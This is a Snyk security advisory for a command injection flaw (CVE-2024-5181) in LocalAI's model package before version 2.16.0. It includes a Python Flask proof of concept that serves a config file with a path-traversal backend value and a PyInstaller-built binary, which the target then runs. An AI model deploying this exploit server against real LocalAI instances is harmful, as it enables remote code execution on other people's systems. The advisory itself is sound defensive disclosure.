Command Injection Affecting github.com/mudler/localai/pkg/model package, versions <2.16.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMMUDLERLOCALAIPKGMODEL-7411205
  • published27 Jun 2024
  • disclosed26 Jun 2024
  • creditmvlttt

Introduced: 26 Jun 2024

CVE-2024-5181  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade github.com/mudler/LocalAI/pkg/model to version 2.16.0 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection due to the backend parameter in the configuration file received from the user being used in the name of the initialized procress, when a model is created. The attacker can run code on the system by adding the path of the vulnerable binary file.

PoC

from flask import Flask,send_file,request
import tempfile
import PyInstaller.__main__
import os
import hashlib

app=Flask(__name__)

CONF="""name: "ptest"
backend: ../../../../../../../../../build/models/{0}
parameters:
  model: {1}app.bin

usage: |
    You can test this model with curl like this:

    test
"""

# Builds exploit code
def build():
    CODE = 'open("/tmp/test.txt","a").write("1337")' # Python code we want to run
    appname="app.bin"
    if os.path.isfile(appname):
        return appname
    with tempfile.NamedTemporaryFile(delete=False) as fp:
        fp.write(CODE.encode())
        fp.close()
        PyInstaller.__main__.run(["--onefile","--clean","--workpath","/tmp/build/","--specpath","/tmp","--distpath",".","-n",appname,fp.name])
    return appname

# localAI stores the application we built by renaming it. This name is the md5 of the url. Here this value is calculated
def calc_urlhash():
    url=request.root_url or ""
    url = url if url.endswith("/") else url+"/"
    return hashlib.md5((url + "app.bin").encode()).hexdigest() ,url

# Serve config.yaml file
@app.get("/config.yaml")
def config():
    hash,url=calc_urlhash()
    return CONF.format(hash,url)

# Serve app.bin file
@app.get("/app.bin")
def files():
    return send_file(build())


# Start the server
app.run("0.0.0.0",8000)

References

CVSS Scores

version 4.0
version 3.1